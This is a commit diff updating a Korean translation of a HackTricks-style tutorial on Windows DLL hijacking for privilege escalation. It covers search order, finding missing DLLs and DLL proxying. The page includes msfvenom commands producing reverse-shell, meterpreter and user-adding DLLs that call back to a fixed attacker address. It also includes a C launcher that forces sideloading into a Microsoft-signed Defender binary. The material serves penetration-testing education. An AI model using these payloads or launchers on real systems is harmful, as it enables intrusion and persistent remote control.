Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio

This commit is contained in:
Translator 2025-09-29 21:50:20 +00:00
parent e014f4487a
commit a9ccf9804b
2 changed files with 325 additions and 130 deletions

View File

@ -4,136 +4,229 @@
## Basic Information
## 기본 정보
DLL Hijacking은 신뢰할 수 있는 애플리케이션이 악성 DLL을 로드하도록 조작하는 것을 포함합니다. 이 용어는 **DLL Spoofing, Injection, and Side-Loading**과 같은 여러 전술을 포함합니다. 주로 코드 실행, 지속성 달성 및 덜 일반적으로 권한 상승을 위해 사용됩니다. 여기서 상승에 초점을 맞추고 있지만, 하이재킹 방법은 목표에 관계없이 일관됩니다.
DLL Hijacking은 신뢰는 애플리케이션이 악성 DLL을 로드하도록 조작하는 것을 포함합니다. 이 용어는 **DLL Spoofing, Injection, and Side-Loading** 같은 여러 전술을 포괄합니다. 주로 코드 실행, 지속성 확보에 사용되며, 드물게 권한 상승에 이용됩니다. 여기서는 권한 상승에 초점을 맞추었지만, hijacking 방법 자체는 목적에 상관없이 동일합니다.
### Common Techniques
### 일반적인 기법
DLL 하이재킹을 위해 여러 방법이 사용되며, 각 방법은 애플리케이션의 DLL 로딩 전략에 따라 효과가 다릅니다:
응용프로그램의 DLL 로딩 방식에 따라 효과가 달라지는 여러 방법이 사용됩니다:
1. **DLL Replacement**: 진짜 DLL을 악성 DLL로 교체하며, 원래 DLL의 기능을 유지하기 위해 DLL Proxying을 선택적으로 사용할 수 있습니다.
2. **DLL Search Order Hijacking**: 악성 DLL을 합법적인 DLL보다 앞서 검색 경로에 배치하여 애플리케이션의 검색 패턴을 악용합니다.
3. **Phantom DLL Hijacking**: 애플리케이션이 존재하지 않는 필수 DLL로 생각하고 로드하도록 악성 DLL을 생성합니다.
4. **DLL Redirection**: `%PATH%` 또는 `.exe.manifest` / `.exe.local` 파일과 같은 검색 매개변수를 수정하여 애플리케이션이 악성 DLL을 가리키도록 합니다.
5. **WinSxS DLL Replacement**: WinSxS 디렉토리에서 합법적인 DLL을 악성 DLL로 대체하는 방법으로, 종종 DLL 사이드 로딩과 관련이 있습니다.
6. **Relative Path DLL Hijacking**: 복사된 애플리케이션과 함께 사용자 제어 디렉토리에 악성 DLL을 배치하여 Binary Proxy Execution 기술과 유사하게 만듭니다.
1. **DLL Replacement**: 정품 DLL을 악성 DLL로 교체하고, 원본 DLL의 기능을 유지하기 위해 선택적으로 DLL Proxying을 사용할 수 있습니다.
2. **DLL Search Order Hijacking**: 악성 DLL을 정식 DLL보다 먼저 검색되는 경로에 배치하여 악용합니다.
3. **Phantom DLL Hijacking**: 애플리케이션이 필요로 하지만 존재하지 않는 DLL로 판단하도록 악성 DLL을 생성하여 로드되게 합니다.
4. **DLL Redirection**: `%PATH%``.exe.manifest` / `.exe.local` 파일 같은 검색 매개변수를 수정해 애플리케이션이 악성 DLL을 찾도록 유도합니다.
5. **WinSxS DLL Replacement**: WinSxS 디렉터리의 정식 DLL을 악성 DLL로 대체하는 방법으로, 종종 DLL side-loading과 관련됩니다.
6. **Relative Path DLL Hijacking**: 복사한 애플리케이션과 함께 공격자가 제어할 수 있는 디렉터리에 악성 DLL을 배치하는 방식으로, Binary Proxy Execution 기법과 유사합니다.
## Finding missing Dlls
## 누락된 Dll 찾기
시스템 내에서 누락된 DLL을 찾는 가장 일반적인 방법은 sysinternals에서 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)을 실행하고, **다음 2개의 필터를 설정**하는 것입니다:
시스템 내 누락된 Dll을 찾는 가장 일반적인 방법은 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) (sysinternals) 를 실행하고, **다음 2개의 필터**를 설정하는 것입니다:
![](<../../images/image (311).png>)
![](<../../images/image (313).png>)
그리고 **파일 시스템 활동**만 표시합니다:
그리고 **File System Activity**만 표시합니다:
![](<../../images/image (314).png>)
**일반적으로 누락된 dll을 찾고 있다면** 몇 **초** 동안 이 작업을 실행합니다.\
**특정 실행 파일 내에서 누락된 dll을 찾고 있다면** **"Process Name" "contains" "\<exec name>"**와 같은 **다른 필터를 설정하고, 실행한 후 이벤트 캡처를 중지해야** 합니다.
일반적으로 **누락된 dll을 찾는 경우**에는 이 상태로 몇 **초** 동안 실행해 둡니다.\
특정 실행 파일 내에서 **누락된 dll을 찾는 경우**에는 **"Process Name" "contains" "\<exec name>"** 같은 추가 필터를 설정하고, 실행한 다음 이벤트 캡처를 중지해야 합니다.
## Exploiting Missing Dlls
## 누락된 Dll 악용하기
권한을 상승시키기 위해, 우리가 가질 수 있는 최선의 기회는 **특권 프로세스가 로드하려고 시도할 DLL을 작성하는 것**입니다. 따라서, 우리는 **원래 DLL**이 있는 폴더보다 **먼저 검색되는 폴더**에 DLL을 **작성**할 수 있거나, **DLL이 검색될 폴더**에 **작성**할 수 있으며 원래 **DLL이 어떤 폴더에도 존재하지 않는 경우**입니다.
권한 상승을 위해 가장 유리한 상황은 **권한이 높은 프로세스가 로드하려고 시도할 DLL을 쓸 수 있는 위치에 쓰는 것**입니다. 따라서 DLL이 원본 DLL이 있는 폴더보다 먼저 검색되는 폴더에 DLL을 **쓰기**할 수 있거나(드문 경우), DLL이 검색되는 폴더 중 하나에 쓸 수 있고 원본 **dll이 어느 폴더에도 존재하지 않는** 경우가 최선입니다.
### Dll Search Order
### Dll 검색 순서
**Microsoft 문서** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **에서 DLL이 어떻게 로드되는지 구체적으로 확인할 수 있습니다.**
[**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)에서 DLL이 어떻게 로드되는지 구체적으로 확인할 수 있습니다.
**Windows 애플리케이션**은 특정 순서를 따르는 **미리 정의된 검색 경로**를 따라 DLL을 찾습니다. DLL 하이재킹 문제는 해로운 DLL이 이러한 디렉토리 중 하나에 전략적으로 배치되어 진짜 DLL보다 먼저 로드되도록 할 때 발생합니다. 이를 방지하기 위한 해결책은 애플리케이션이 필요한 DLL을 참조할 때 절대 경로를 사용하도록 하는 것입니다.
Windows 애플리케이션은 미리 정의된 검색 경로 집합을 따라 DLL을 찾으며, 특정 순서를 따릅니다. 악성 DLL이 이러한 디렉터리 중 하나에 전략적으로 배치되면 정품 DLL보다 먼저 로드되어 DLL hijacking이 발생할 수 있습니다. 이를 방지하는 한 가지 방법은 애플리케이션이 필요로 하는 DLL을 참조할 때 절대 경로를 사용하도록 하는 것입니다.
32비트 시스템에서의 **DLL 검색 순서**는 다음과 같습니다:
다음은 32-bit 시스템에서의 DLL 검색 순서입니다:
1. 애플리케이션이 로드된 디렉토리.
2. 시스템 디렉토리. 이 디렉토리의 경로를 얻으려면 [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 함수를 사용합니다.(_C:\Windows\System32_)
3. 16비트 시스템 디렉토리. 이 디렉토리의 경로를 얻는 함수는 없지만 검색됩니다. (_C:\Windows\System_)
4. Windows 디렉토리. 이 디렉토리의 경로를 얻으려면 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 함수를 사용합니다. (_C:\Windows_)
5. 현재 디렉토리.
6. PATH 환경 변수에 나열된 디렉토리. 여기에는 **App Paths** 레지스트리 키에 의해 지정된 애플리케이션별 경로가 포함되지 않습니다. **App Paths** 키는 DLL 검색 경로를 계산할 때 사용되지 않습니다.
1. The directory from which the application loaded.
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
1. (_C:\Windows_)
5. The current directory.
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
것이 **SafeDllSearchMode**가 활성화된 상태에서의 **기본** 검색 순서입니다. 비활성화되면 현재 디렉토리가 두 번째 위치로 상승합니다. 이 기능을 비활성화하려면 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 레지스트리 값을 생성하고 0으로 설정합니다(기본값은 활성화됨).
**SafeDllSearchMode**가 활성화된 기본 검색 순서입니다. 이 기능이 비활성화되면 현재 디렉터리의 우선순위가 두 번째로 상승합니다. 이 기능을 비활성화하려면 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 레지스트리 값을 생성하고 0으로 설정하면 됩니다(기본값은 활성화).
[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 함수가 **LOAD_WITH_ALTERED_SEARCH_PATH**와 함께 호출되면 검색은 **LoadLibraryEx**가 로드하는 실행 모듈의 디렉토리에서 시작됩니다.
만약 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 함수가 **LOAD_WITH_ALTERED_SEARCH_PATH** 플래그와 함께 호출되면, 검색은 **LoadLibraryEx**가 로드하는 실행 모듈의 디렉터리에서 시작합니다.
마지막으로, **DLL은 이름 대신 절대 경로를 지정하여 로드될 수 있습니다**. 이 경우 해당 DLL은 **그 경로에서만 검색됩니다**(DLL에 종속성이 있는 경우, 종속성은 이름으로 로드된 것처럼 검색됩니다).
마지막으로, **절대 경로**로 DLL을 지정하면 그 DLL은 **오직 그 경로에서만** 검색됩니다(해당 DLL이 다른 종속성을 갖는 경우, 그 종속성들은 이름으로 로드된 것처럼 검색됩니다).
검색 순서를 변경하는 다른 방법 있지만 여기서는 설명하지 않겠습니다.
검색 순서를 변경하는 다른 방법들도 있지만 여기서는 설명하지 않겠습니다.
#### Exceptions on dll search order from Windows docs
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
Windows 문서에서 표준 DLL 검색 순서에 대한 특정 예외가 언급됩니다:
새로 생성되는 프로세스의 DLL 검색 경로에 결정적으로 영향을 주는 고급 방법은 ntdll의 네이티브 API로 프로세스를 생성할 때 RTL_USER_PROCESS_PARAMETERS의 DllPath 필드를 설정하는 것입니다. 여기서 공격자가 제어하는 디렉터리를 제공하면, 대상 프로세스가 DLL을 이름으로(절대 경로 없이, 안전 로드 플래그를 사용하지 않고) 해결할 때 해당 디렉터리에서 악성 DLL을 로드하도록 강제할 수 있습니다.
- **메모리에 이미 로드된 DLL과 이름이 같은 DLL**이 발견되면 시스템은 일반 검색을 우회합니다. 대신, 리디렉션 및 매니페스트를 확인한 후 메모리에 이미 있는 DLL로 기본 설정합니다. **이 시나리오에서는 시스템이 DLL 검색을 수행하지 않습니다**.
- DLL이 현재 Windows 버전의 **알려진 DLL**로 인식되는 경우, 시스템은 검색 프로세스를 생략하고 알려진 DLL의 버전과 해당 종속 DLL을 사용합니다. 레지스트리 키 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**는 이러한 알려진 DLL의 목록을 보유합니다.
- **DLL에 종속성이 있는 경우**, 이러한 종속 DLL에 대한 검색은 초기 DLL이 전체 경로를 통해 식별되었는지 여부에 관계없이 **모듈 이름**만으로 표시된 것처럼 수행됩니다.
핵심 아이디어
- RtlCreateProcessParametersEx로 프로세스 매개변수를 구성하고, 제어하는 폴더(예: dropper/unpacker가 있는 디렉터리)를 가리키는 커스텀 DllPath를 제공합니다.
- RtlCreateUserProcess로 프로세스를 생성합니다. 대상 바이너리가 DLL을 이름으로 해결할 때 로더는 이 제공된 DllPath를 참조하여, 악성 DLL이 대상 EXE와 동일 디렉터리에 있지 않아도 신뢰성 있는 sideloading이 가능해집니다.
참고/제한사항
- 이것은 생성되는 자식 프로세스에 영향을 미치며, 현재 프로세스에만 영향을 주는 SetDllDirectory와는 다릅니다.
- 대상은 이름으로 DLL을 import하거나 LoadLibrary해야 합니다(절대 경로가 아니고 LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories를 사용하지 않을 것).
- KnownDLLs와 하드코딩된 절대 경로는 hijack할 수 없습니다. Forwarded exports와 SxS는 우선순위를 변경할 수 있습니다.
Minimal C example (ntdll, wide strings, simplified error handling):
```c
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
```
운영 사용 예시
- 악성 xmllite.dll(필요한 함수를 export하거나 실제 DLL로 프록시하는)을 DllPath 디렉토리에 배치합니다.
- 위 기법을 사용하여 이름으로 xmllite.dll을 조회하는 것으로 알려진 서명된 바이너리를 실행합니다. 로더는 제공된 DllPath를 통해 임포트를 해결하고 당신의 DLL을 sideloads 합니다.
이 기법은 실제 환경에서 multi-stage sideloading chains를 발생시키는 데 사용되는 것이 관찰되었습니다: 초기 런처가 helper DLL을 드롭하고, 그 후 해당 DLL이 custom DllPath로 Microsoft-signed인 hijackable 바이너리를 실행시켜 스테이징 디렉토리에서 공격자의 DLL을 강제 로드하도록 합니다.
#### Windows 문서에서의 dll 검색 순서 예외사항
Windows 문서에는 표준 DLL 검색 순서의 특정 예외사항이 명시되어 있습니다:
- 이미 메모리에 로드된 것과 같은 이름을 가진 **DLL that shares its name with one already loaded in memory**이 발견되면, 시스템은 일반적인 검색을 건너뜁니다. 대신 리디렉션과 manifest를 확인한 후 메모리에 이미 있는 DLL을 기본으로 사용합니다. **In this scenario, the system does not conduct a search for the DLL**.
- 해당 DLL이 현재 Windows 버전에서 **known DLL**로 인식되는 경우, 시스템은 그 버전의 known DLL과 그에 종속된 DLL들을 사용하여 **forgoing the search process**합니다. 레지스트리 키 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**에는 이러한 known DLL들의 목록이 저장되어 있습니다.
- **DLL have dependencies**가 있는 경우, 이러한 종속 DLL들의 검색은 초기 DLL이 전체 경로로 식별되었는지 여부와 관계없이 마치 **module names**로만 지정된 것처럼 수행됩니다.
### Escalating Privileges
**Requirements**:
- **다른 권한**(수평 또는 측면 이동)으로 작동하거나 작동할 **프로세스**를 식별하고, **DLL이 없는** 상태여야 합니다.
- **DLL이 검색될** **디렉토리**에 대한 **쓰기 권한**이 있어야 합니다. 이 위치는 실행 파일의 디렉토리일 수도 있고 시스템 경로 내의 디렉토리일 수도 있습니다.
- 서로 다른 권한으로 실행되거나 실행될 (horizontal or lateral movement) 프로세스 중에서 **DLL이 없는** 것을 식별합니다.
- **DLL**이 **검색될** 어떤 **directory**에 대해서든 **write access**가 가능한지 확인합니다. 이 위치는 실행 파일의 디렉터리이거나 시스템 경로 내의 디렉터리일 수 있습니다.
네, 기본적으로 **특권 실행 파일이 DLL이 누락된 경우를 찾는 것은 다소 이상합니다**. 그리고 **시스템 경로 폴더에 쓰기 권한을 갖는 것은 기본적으로 불가능합니다**. 그러나 잘못 구성된 환경에서는 가능합니다.\
운이 좋다면 요구 사항을 충족하는 경우, [UACME](https://github.com/hfiref0x/UACME) 프로젝트를 확인할 수 있습니다. **프로젝트의 주요 목표가 UAC 우회이지만**, 사용할 수 있는 Windows 버전의 DLL 하이재킹 **PoC**를 찾을 수 있습니다(아마도 쓰기 권한이 있는 폴더의 경로만 변경하면 됩니다).
네, 요구 조건을 찾는 것은 까다롭습니다 — **기본적으로 권한이 있는 실행 파일이 dll을 누락한 상태로 존재하는 것을 찾는 것은 좀 이상하고**, 시스템 경로 폴더에 쓰기 권한이 있는 것은 **더욱 이상합니다**(기본적으로는 불가능합니다). 하지만 잘못 구성된 환경에서는 이 조건이 성립할 수 있습니다.\
운이 좋아서 요구사항을 충족하는 경우, [UACME](https://github.com/hfiref0x/UACME) 프로젝트를 확인해 보세요. **main goal of the project is bypass UAC** 이긴 하지만, 해당 Windows 버전에 맞는 Dll hijaking의 **PoC**를 찾을 수 있으며(아마도 쓰기 권한이 있는 폴더의 경로만 변경하면 됨) 활용할 수 있습니다.
폴더에서 **권한을 확인할 수 있습니다**:
참고로 폴더에서 **권한을 확인하는 방법**은 다음과 같습니다:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
```
모든 폴더의 **권한을 확인하십시오** PATH 안에:
그리고 **PATH 내부의 모든 폴더 권한을 확인하세요**:
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
실행 파일의 임포트와 DLL의 익스포트를 확인할 수도 있습니다:
또한 다음 명령어로 executable의 imports와 dll의 exports를 확인할 수 있습니다:
```c
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
```
전체 가이드는 **System Path 폴더에 쓰기 권한을 이용하여 Dll Hijacking을 악용하는 방법**을 확인하세요:
For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check:
{{#ref}}
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
{{#endref}}
### 자동화 도구
### Automated tools
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)는 시스템 PATH 내의 어떤 폴더에 쓰기 권한이 있는지 확인합니다.\
이 취약점을 발견하기 위한 다른 흥미로운 자동화 도구는 **PowerSploit 함수**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ 및 _Write-HijackDll_입니다.
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)은 system PATH 내의 어떤 폴더에 쓰기 권한이 있는지 확인합니다.\
이 취약점을 찾기 위한 다른 흥미로운 자동화 도구로는 **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ 및 _Write-HijackDll_가 있습니다.
### 예시
### Example
악용 가능한 시나리오를 찾는 경우, 성공적으로 악용하기 위해 가장 중요한 것 중 하나는 **실행 파일이 가져올 모든 함수를 내보내는 dll을 생성하는 것**입니다. 어쨌든, Dll Hijacking은 [**Medium Integrity 레벨에서 High로 (UAC 우회)**](../authentication-credentials-uac-and-efs.md#uac) 또는 [**High Integrity에서 SYSTEM으로**](#from-high-integrity-to-system)**.**로 상승하는 데 유용하다는 점에 유의하세요. **유효한 dll을 생성하는 방법**에 대한 예시는 dll 실행을 위한 dll hijacking 연구에서 확인할 수 있습니다: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
또한, **다음 섹션**에서는 **템플릿**으로 유용할 수 있는 **기본 dll 코드**를 찾을 수 있습니다.
취약한 시나리오를 찾은 경우, 이를 성공적으로 악용하기 위해 가장 중요한 것 중 하나는 **실행 파일이 해당 DLL에서 import할 모든 함수들을 최소한으로 export하는 dll을 생성하는 것**입니다. 어쨌든, Dll Hijacking은 [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) 또는 [ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** 예제로 **유효한 dll을 만드는 방법**은 이 실행을 위한 dll hijacking 연구에서 확인할 수 있습니다: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
또한, 다음 섹션에서는 **템플릿으로 유용하거나** 필수적이지 않은 함수들을 export하는 **dll을 만들 때 사용할 수 있는 몇 가지 기본 dll 코드들**을 찾을 수 있습니다.
## **Dll 생성 및 컴파일**
## **Creating and compiling Dlls**
### **Dll 프록시화**
### **Dll Proxifying**
기본적으로 **Dll 프록시**는 **로드될 때 악성 코드를 실행할 수 있는 Dll**이지만, **실제 라이브러리에 대한 모든 호출을 중계하여** **예상대로 작동**하도록 **노출**하는 Dll입니다.
기본적으로 **Dll proxy**는 로드될 때 **악성 코드를 실행할 수 있으면서**, 동시에 **실제 라이브러리로의 모든 호출을 중계(relay)하여** 기대되는 대로 **노출되고 동작하는** Dll입니다.
[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 또는 [**Spartacus**](https://github.com/Accenture/Spartacus) 도구를 사용하면 **실행 파일을 지정하고 프록시화할 라이브러리를 선택하여** **프록시화된 dll을 생성**하거나 **Dll을 지정하고 프록시화된 dll을 생성**할 수 있습니다.
[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 또는 [**Spartacus**](https://github.com/Accenture/Spartacus) 도구를 사용하면 대상 실행 파일을 지정하고 프록시화할 라이브러리를 선택해 **프록시화된 dll을 생성**하거나, Dll을 지정해 **프록시화된 dll을 생성**할 수 있습니다.
### **Meterpreter**
**Rev shell 얻기 (x64):**
**rev shell (x64) 얻기:**
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**미터프리터 얻기 (x86):**
**meterpreter (x86) 얻기:**
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**사용자 생성 (x86 버전, x64 버전은 보지 못함):**
**사용자 생성(x86 — x64 버전은 확인하지 못함):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### 당신의 것
### 직접 만든 경우
여러 경우에 컴파일하는 Dll은 **희생자 프로세스에 의해 로드될 여러 함수를 내보내야** 한다는 점에 유의하세요. 이러한 함수가 존재하지 않으면 **바이너리가 이를 로드할 수 없고** **익스플로잇이 실패하게 됩니다**.
여러 경우에 컴파일하는 Dll은 피해자 프로세스가 로드할 여러 함수를 반드시 **export several functions** 해야 합니다. 이러한 함수들이 존재하지 않으면 **binary won't be able to load** them, 그리고 **exploit will fail**.
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
@ -214,11 +307,14 @@ break;
return TRUE;
}
```
## References
## 참고자료
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
- [Check Point Research Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,136 +2,230 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
DLL Hijacking은 신뢰할 수 있는 애플리케이션이 악성 DLL을 로드하도록 조작하는 것입니다. 이 용어는 **DLL Spoofing, Injection, and Side-Loading**과 같은 여러 전술을 포함합니다. 주로 코드 실행, 지속성 달성 및 덜 일반적으로 권한 상승을 위해 사용됩니다. 여기서 상승에 초점을 맞추고 있지만, 하이재킹 방법은 목표에 관계없이 일관됩니다.
DLL Hijacking은 신뢰되는 애플리케이션이 악성 DLL을 로드하도록 조작하는 것을 의미합니다. 이 용어는 **DLL Spoofing, Injection, and Side-Loading**과 같은 여러 전술을 포함합니다. 주로 code execution, achieving persistence 및 덜 빈번하게 privilege escalation에 사용됩니다. 여기서는 상승(escation)에 초점을 맞추었지만, hijacking 방식은 목적에 관계없이 동일합니다.
### Common Techniques
DLL 하이재킹을 위해 여러 방법이 사용되며, 각 방법은 애플리케이션의 DLL 로딩 전략에 따라 효과가 다릅니다:
DLL hijacking에 사용되는 여러 방법들이 있으며, 각 방법의 효과는 애플리케이션의 DLL 로딩 전략에 따라 다릅니다:
1. **DLL Replacement**: 진짜 DLL을 악성 DLL로 교체하며, 원래 DLL의 기능을 유지하기 위해 DLL Proxying을 선택적으로 사용할 수 있습니다.
2. **DLL Search Order Hijacking**: 악성 DLL을 합법적인 DLL보다 앞서 검색 경로에 배치하여 애플리케이션의 검색 패턴을 악용합니다.
3. **Phantom DLL Hijacking**: 애플리케이션이 로드할 악성 DLL을 생성하여 존재하지 않는 필수 DLL로 인식하게 합니다.
1. **DLL Replacement**: 정상 DLL을 악성 DLL로 교체하고, 원본 DLL의 기능을 유지하기 위해 선택적으로 DLL Proxying을 사용합니다.
2. **DLL Search Order Hijacking**: 악성 DLL을 합법 DLL보다 먼저 검색되는 경로에 배치하여 애플리케이션의 검색 패턴을 악용합니다.
3. **Phantom DLL Hijacking**: 애플리케이션이 존재하지 않는 필수 DLL로 판단하고 로드하도록 만들기 위해 악성 DLL을 생성합니다.
4. **DLL Redirection**: `%PATH%` 또는 `.exe.manifest` / `.exe.local` 파일과 같은 검색 매개변수를 수정하여 애플리케이션이 악성 DLL을 가리키도록 합니다.
5. **WinSxS DLL Replacement**: WinSxS 디렉토리에서 합법적인 DLL을 악성 DLL로 대체하는 방법으로, 종종 DLL 사이드 로딩과 관련이 있습니다.
6. **Relative Path DLL Hijacking**: 복사된 애플리케이션과 함께 사용자 제어 디렉토리에 악성 DLL을 배치하여 Binary Proxy Execution 기술과 유사하게 만듭니다.
5. **WinSxS DLL Replacement**: WinSxS 디렉터리에서 합법 DLL을 악성 버전으로 교체하는 방법으로, 종종 DLL side-loading과 연관됩니다.
6. **Relative Path DLL Hijacking**: 복사된 애플리케이션과 함께 사용자가 제어하는 디렉터리에 악성 DLL을 배치하는 방법으로, Binary Proxy Execution 기술과 유사합니다.
## Finding missing Dlls
시스템 내에서 누락된 DLL을 찾는 가장 일반적인 방법은 sysinternals에서 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)을 실행하고, **다음 2개의 필터를 설정**하는 것입니다:
시스템 내에서 누락된 Dll을 찾는 가장 일반적인 방법은 sysinternals의 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)을 실행하고, 다음 2개의 필터를 설정하는 것입니다:
![](<../../../images/image (961).png>)
![](<../../../images/image (230).png>)
그리고 **파일 시스템 활동**만 표시합니다:
그리고 **File System Activity**만 표시합니다:
![](<../../../images/image (153).png>)
**일반적으로 누락된 dll을 찾고 있다면** 몇 **초** 동안 이 상태로 두십시오.\
**특정 실행 파일 내에서 누락된 dll을 찾고 있다면** **"Process Name" "contains" "\<exec name>"**와 같은 **다른 필터를 설정하고, 실행한 후 이벤트 캡처를 중지해야** 합니다.
일반적으로 **missing dlls**를 찾고 있다면 이 상태로 몇 초 동안 실행해 두면 됩니다.\
특정 실행 파일 내부의 **missing dll**을 찾고 있다면 **"Process Name" "contains" "\<exec name>"** 같은 추가 필터를 설정한 뒤 해당 실행 파일을 실행하고 이벤트 캡처를 중지해야 합니다.
## Exploiting Missing Dlls
